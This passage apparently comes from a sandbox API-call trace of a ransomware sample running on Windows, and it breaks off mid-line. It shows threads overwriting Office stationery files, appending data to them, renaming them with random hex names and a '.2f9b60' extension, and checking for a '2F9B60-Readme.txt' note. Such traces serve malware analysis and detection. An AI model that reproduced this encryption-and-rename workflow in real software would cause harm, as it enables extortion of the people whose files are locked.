(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0118.206] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.206] WriteFile (in: hFile=0x149c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c2ff650, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3c2ff650*=0x10a, lpOverlapped=0x0) returned 1 [0118.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0118.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f90) returned 1 [0118.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0118.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0118.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0118.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0118.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0118.236] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="ff") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="0b") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="e4") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="3e") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="49") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="90") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="c8") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="a6") returned 2 [0118.236] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="95") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="98") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="0a") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="fb") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="ec") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="81") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="20") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="7d") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="41") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="08") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="92") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="43") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="f2") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="9f") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="8c") returned 2 [0118.237] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="65") returned 2 [0118.237] RtlInitAnsiString (in: DestinationString=0x3c2ff6c8, SourceString="ff0be43e4990c8a695980afbec81207d41089243f29f8c65" | out: DestinationString="ff0be43e4990c8a695980afbec81207d41089243f29f8c65") [0118.237] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c2ff698, SourceString="ff0be43e4990c8a695980afbec81207d41089243f29f8c65", AllocateDestinationString=1 | out: DestinationString="ff0be43e4990c8a695980afbec81207d41089243f29f8c65") returned 0x0 [0118.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8f30 [0118.238] RtlFreeAnsiString (AnsiString="f") [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f90) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9ee0) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa030) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fa0) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d00) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f70) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0118.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0118.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ada20 [0118.239] wcscat (in: _Dest=0x1b7ada20, _Source="ff0be43e4990" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ff0be43e4990") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ff0be43e4990" [0118.239] wcscat (in: _Dest=0x1b7ada20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ff0be43e4990.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ff0be43e4990.2f9b60" [0118.239] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ff0be43e4990.2f9b60", NtPathName=0x3c2ff670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ff0be43e4990.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202789b0 [0118.239] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3c2ff710, FileInformation=0x202789b0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202789b0) returned 1 [0118.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0118.329] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x3c2ff6d8, FileInformation=0x3c2ff6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c2ff6d8, FileInformation=0x3c2ff6e8) returned 0x0 [0118.329] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3c2ff6d8, FileInformation=0x3c2ff6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0118.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8f30) returned 1 [0118.330] FlushFileBuffers (hFile=0x149c) returned 1 [0118.334] CloseHandle (hObject=0x149c) returned 1 [0118.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ada20 [0118.336] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.336] wcscat (in: _Dest=0x1b7ada20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0118.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b940) returned 1 Thread: id = 1321 os_tid = 0xeb4 [0117.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm")) returned 0x20 [0117.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM", dwFileAttributes=0x20) returned 1 [0117.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0118.090] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x3c12f820 | out: lpFileSize=0x3c12f820*=476) returned 1 [0118.090] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.090] ReadFile (in: hFile=0x1720, lpBuffer=0x3c12f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c12f7e8, lpOverlapped=0x0 | out: lpBuffer=0x3c12f7a0*, lpNumberOfBytesRead=0x3c12f7e8*=0x4, lpOverlapped=0x0) returned 1 [0118.091] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0118.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa470 [0118.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe80 [0118.091] NtQuerySystemTime (in: CurrentTime=0x3c12f6e0 | out: CurrentTime=0x3c12f6e0*=132462177235282000) returned 0x0 [0118.091] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x249fd36a [0118.091] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x746135a7 [0118.091] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x5150152d [0118.091] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x2909a6c2 [0118.091] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x42e42a00 [0118.091] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x198c8537 [0118.091] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x3d1eecd [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x67437c50 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x5d6ffce [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x72b8de94 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x6263e274 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x1c20bd2e [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x67899509 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x1539d2a6 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x2e631176 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x6146932a [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x63850a6c [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x59e1ce42 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x703711eb [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x643dcf8 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x18a1a843 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x35fbc022 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x377a4389 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x214fd032 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x1c5b0e78 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x6cce8658 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x529f2f8c [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x26f76ab7 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x3bda91b5 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x728d6a43 [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x690ae2ae [0118.092] RtlRandomEx (in: Seed=0x3c12f6d0 | out: Seed=0x3c12f6d0) returned 0x28c52ca5 [0118.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860fc0 [0118.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860f90 [0118.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe80) returned 1 [0118.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0118.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0118.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0118.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0118.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0118.103] ReadFile (in: hFile=0x1720, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x1dc, lpNumberOfBytesRead=0x3c12f6d0, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3c12f6d0*=0x1dc, lpOverlapped=0x0) returned 1 [0118.103] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.103] WriteFile (in: hFile=0x1720, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x1dc, lpNumberOfBytesWritten=0x3c12f6d4, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x3c12f6d4*=0x1dc, lpOverlapped=0x0) returned 1 [0118.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0118.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa530 [0118.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa530) returned 1 [0118.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0118.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0118.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa530 [0118.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4d0 [0118.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa4d0 [0118.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa260 [0118.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2c0 [0118.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2c0) returned 1 [0118.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1675e0 [0118.144] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.144] WriteFile (in: hFile=0x1720, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c12f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3c12f7f0*=0x10a, lpOverlapped=0x0) returned 1 [0118.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0118.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6b0) returned 1 [0118.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0118.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa6b0 [0118.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaad0 [0118.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaad0) returned 1 [0118.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0118.223] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="c1") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="e6") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="c0") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="2f") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="3f") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="e9") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="ff") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="eb") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="53") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="62") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="9d") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="17") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="53") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="c9") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="cf") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="c6") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="f1") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="24") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="b7") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="2d") returned 2 [0118.223] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="e0") returned 2 [0118.224] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="c3") returned 2 [0118.224] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="84") returned 2 [0118.224] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="ee") returned 2 [0118.224] RtlInitAnsiString (in: DestinationString=0x3c12f868, SourceString="c1e6c02f3fe9ffeb53629d1753c9cfc6f124b72de0c384ee" | out: DestinationString="c1e6c02f3fe9ffeb53629d1753c9cfc6f124b72de0c384ee") [0118.224] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c12f838, SourceString="c1e6c02f3fe9ffeb53629d1753c9cfc6f124b72de0c384ee", AllocateDestinationString=1 | out: DestinationString="c1e6c02f3fe9ffeb53629d1753c9cfc6f124b72de0c384ee") returned 0x0 [0118.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0118.224] RtlFreeAnsiString (AnsiString="c") [0118.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0118.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0118.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa6b0) returned 1 [0118.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1675e0) returned 1 [0118.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4d0) returned 1 [0118.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa260) returned 1 [0118.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa530) returned 1 [0118.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0118.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa470) returned 1 [0118.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860fc0) returned 1 [0118.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f90) returned 1 [0118.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0118.225] wcscat (in: _Dest=0x1b7adfc0, _Source="c1e6c02f3fe9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\c1e6c02f3fe9") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\c1e6c02f3fe9" [0118.225] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\c1e6c02f3fe9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\c1e6c02f3fe9.2f9b60" [0118.225] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\c1e6c02f3fe9.2f9b60", NtPathName=0x3c12f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\c1e6c02f3fe9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0118.226] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x3c12f8b0, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0118.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a110) returned 1 [0118.352] NtQueryInformationFile (in: FileHandle=0x1720, IoStatusBlock=0x3c12f878, FileInformation=0x3c12f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c12f878, FileInformation=0x3c12f888) returned 0x0 [0118.352] NtSetInformationFile (FileHandle=0x1720, IoStatusBlock=0x3c12f878, FileInformation=0x3c12f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.353] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0118.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0118.354] FlushFileBuffers (hFile=0x1720) returned 1 [0118.365] CloseHandle (hObject=0x1720) returned 1 [0118.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ae420 [0118.367] wcscpy (in: _Dest=0x1b7ae420, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.367] wcscat (in: _Dest=0x1b7ae420, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae420) returned 1 [0118.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b9d0) returned 1 Thread: id = 1322 os_tid = 0xed4 [0117.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program 